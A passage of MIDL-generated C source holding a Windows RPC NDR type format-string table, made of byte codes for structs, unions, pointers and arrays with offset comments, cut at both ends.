*/\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1424 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe3f ),\t/* Offset= -449 (976) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1428 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1430 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffdf ),\t/* Offset= -33 (1398) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1434 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1436 */\tNdrFcShort( 0xfb06 ),\t/* Offset= -1274 (162) */\n/* 1438 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 1440 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1442 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1444 */\tNdrFcShort( 0x94 ),\t/* 148 */\n/* 1446 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1448 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1450 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1454 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 1458 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1462 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1464 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1466 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1474 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1476 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (1412) */\n/* 1478 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1480 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1482 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 1484 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1486 */\tNdrFcShort( 0x26 ),\t/* Offset= 38 (1524) */\n/* 1488 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1490 */\tNdrFcShort( 0xfa3a ),\t/* Offset= -1478 (12) */\n/* 1492 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1494 */\tNdrFcShort( 0xfa36 ),\t/* Offset= -1482 (12) */\n/* 1496 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1498 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfb77 ),\t/* Offset= -1161 (338) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1502 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfb73 ),\t/* Offset= -1165 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1506 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1508 */\tNdrFcShort( 0xfbd6 ),\t/* Offset= -1066 (442) */\n/* 1510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1512 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1514 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1516 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1518 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1520 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1522 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1524 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1526 */\tNdrFcShort( 0xfaac ),\t/* Offset= -1364 (162) */\n/* 1528 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1530 */\tNdrFcShort( 0xff70 ),\t/* Offset= -144 (1386) */\n/* 1532 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1534 */\tNdrFcShort( 0xfec2 ),\t/* Offset= -318 (1216) */\n/* 1536 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1538 */\tNdrFcShort( 0xff9c ),\t/* Offset= -100 (1438) */\n/* 1540 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1542 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1546 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1546) */\n/* 1548 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 1550 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1552 */\tNdrFcShort( 0xff16 ),\t/* Offset= -234 (1318) */\n/* 1554 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1556 */\t0xb1,\t\t/* FC_FORCED_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1558 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 1560 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1562 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1562) */\n/* 1564 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1566 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe59 ),\t/* Offset= -423 (1144) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1570 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1572 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 1574 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1576 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1578 */\tNdrFcShort( 0x70 ),\t/* 112 */\n/* 1580 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1582 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1598) */\n/* 1584 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1586 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1588 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd9b ),\t/* Offset= -613 (976) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1592 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1594 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffd9 ),\t/* Offset= -39 (1556) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1598 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1600 */\tNdrFcShort( 0xfa62 ),\t/* Offset= -1438 (162) */\n/* 1602 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 1604 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1606 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1608 */\tNdrFcShort( 0x94 ),\t/* 148 */\n/* 1610 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1612 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1614 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcLong( 0x100000 ),\t/* 1048576 */\n/* 1622 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1626 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1628 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1630 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1634 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1638 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1640 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (1576) */\n/* 1642 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1644 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1646 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 1648 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1650 */\tNdrFcShort( 0x26 ),\t/* Offset= 38 (1688) */\n/* 1652 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1654 */\tNdrFcShort( 0xf996 ),\t/* Offset= -1642 (12) */\n/* 1656 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1658 */\tNdrFcShort( 0xf992 ),\t/* Offset= -1646 (12) */\n/* 1660 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1662 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfad3 ),\t/* Offset= -1325 (338) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1666 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfacf ),\t/* Offset= -1329 (338) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1670 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1672 */\tNdrFcShort( 0xfb32 ),\t/* Offset= -1230 (442) */\n/* 1674 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1678 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1684 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1686 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1688 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1690 */\tNdrFcShort( 0xfa08 ),\t/* Offset= -1528 (162) */\n/* 1692 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1694 */\tNdrFcShort( 0xfecc ),\t/* Offset= -308 (1386) */\n/* 1696 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1698 */\tNdrFcShort( 0xfe1e ),\t/* Offset= -482 (1216) */\n/* 1700 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1702 */\tNdrFcShort( 0xff9c ),\t/* Offset= -100 (1602) */\n/* 1704 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1706 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1708) */\n/* 1708 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1710 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1712 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1714 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1716 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1722 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1726 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1728) */\n/* 1728 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1730 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1732 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1736 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1746) */\n/* 1738 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1742 */\tNdrFcShort( 0x1e ),\t/* Offset= 30 (1772) */\n/* 1744 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1743) */\n/* 1746 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1748 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1750 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1752 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (1764) */\n/* 1754 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1756 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1758 */\tNdrFcShort( 0xf92e ),\t/* Offset= -1746 (12) */\n/* 1760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1762 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1764 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1766 */\tNdrFcShort( 0xf9bc ),\t/* Offset= -1604 (162) */\n/* 1768 */\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1770 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1772 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1774 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1778 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1794) */\n/* 1780 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1782 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1784 */\tNdrFcShort( 0xf914 ),\t/* Offset= -1772 (12) */\n/* 1786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1788 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf90f ),\t/* Offset= -1777 (12) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1792 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1794 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1796 */\tNdrFcShort( 0xf99e ),\t/* Offset= -1634 (162) */\n/* 1798 */\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1800 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1802 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1804 */\tNdrFcShort( 0xf9d8 ),\t/* Offset= -1576 (228) */\n/* 1806 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1808 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1810) */\n/* 1810 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1812 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1814 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1816 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1818 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1820 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1824 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1828 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1830) */\n/* 1830 */\tNdrFcShort( 0x90 ),\t/* 144 */\n/* 1832 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 1834 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1838 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (1870) */\n/* 1840 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1844 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (1894) */\n/* 1846 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1850 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (1928) */\n/* 1852 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1851) */\n/* 1854 */\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1856 */\tNdrFcShort( 0x54 ),\t/* 84 */\n/* 1858 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1860 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 1862 */\tNdrFcShort( 0x54 ),\t/* 84 */\n/* 1864 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1866 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (1854) */\n/* 1868 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1870 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1872 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 1874 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1876 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1886) */\n/* 1878 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1880 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1882 */\tNdrFcShort( 0xffea ),\t/* Offset= -22 (1860) */\n/* 1884 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1886 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1888 */\tNdrFcShort( 0xf942 ),\t/* Offset= -1726 (162) */\n/* 1890 */\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1892 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1894 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1896 */\tNdrFcShort( 0x78 ),\t/* 120 */\n/* 1898 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1900 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (1912) */\n/* 1902 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1904 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1906 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1908 */\tNdrFcShort( 0xffd0 ),\t/* Offset= -48 (1860) */\n/* 1910 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1912 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1914 */\tNdrFcShort( 0xf928 ),\t/* Offset= -1752 (162) */\n/* 1916 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1918 */\tNdrFcShort( 0xf924 ),\t/* Offset= -1756 (162) */\n/* 1920 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1922 */\tNdrFcShort( 0xf920 ),\t/* Offset= -1760 (162) */\n/* 1924 */\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1926 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1928 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1930 */\tNdrFcShort( 0x90 ),\t/* 144 */\n/* 1932 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1934 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (1952) */\n/* 1936 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1938 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1940 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1942 */\tNdrFcShort( 0xffae ),\t/* Offset= -82 (1860) */\n/* 1944 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1946 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf871 ),\t/* Offset= -1935 (12) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1950 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1952 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1954 */\tNdrFcShort( 0xf900 ),\t/* Offset= -1792 (162) */\n/* 1956 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1958 */\tNdrFcShort( 0xf8fc ),\t/* Offset= -1796 (162) */\n/* 1960 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1962 */\tNdrFcShort( 0xf8f8 ),\t/* Offset= -1800 (162) */\n/* 1964 */\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1966 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1968 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1970 */\tNdrFcShort( 0xf932 ),\t/* Offset= -1742 (228) */\n/* 1972 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1974 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1976) */\n/* 1976 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1978 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1980 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 1982 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1984 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 1986 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1990 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1994 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1996) */\n/* 1996 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1998 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2000 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2004 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2008) */\n/* 2006 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2005) */\n/* 2008 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2010 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2012 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2014 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2022) */\n/* 2016 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2018 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2020 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2022 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2024 */\tNdrFcShort( 0xf8ba ),\t/* Offset= -1862 (162) */\n/* 2026 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2028 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2030 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2032 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2034) */\n/* 2034 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2036 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2038 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2040 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2042 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2044 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2048 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2052 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2054) */\n/* 2054 */\tNdrFcShort( 0x80 ),\t/* 128 */\n/* 2056 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2058 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2062 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2066) */\n/* 2064 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2063) */\n/* 2066 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2068 */\tNdrFcShort( 0x80 ),\t/* 128 */\n/* 2070 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2072 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2088) */\n/* 2074 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 2076 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf7ef ),\t/* Offset= -2065 (12) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2080 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2082 */\tNdrFcShort( 0xff22 ),\t/* Offset= -222 (1860) */\n/* 2084 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2088 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2090 */\tNdrFcShort( 0xf878 ),\t/* Offset= -1928 (162) */\n/* 2092 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2094 */\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2096 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2098 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2100) */\n/* 2100 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2102 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2104 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 2106 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2108 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2110 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2114 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2118 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2120) */\n/* 2120 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2122 */\tNdrFcShort( 0x1 ),\t/* 1 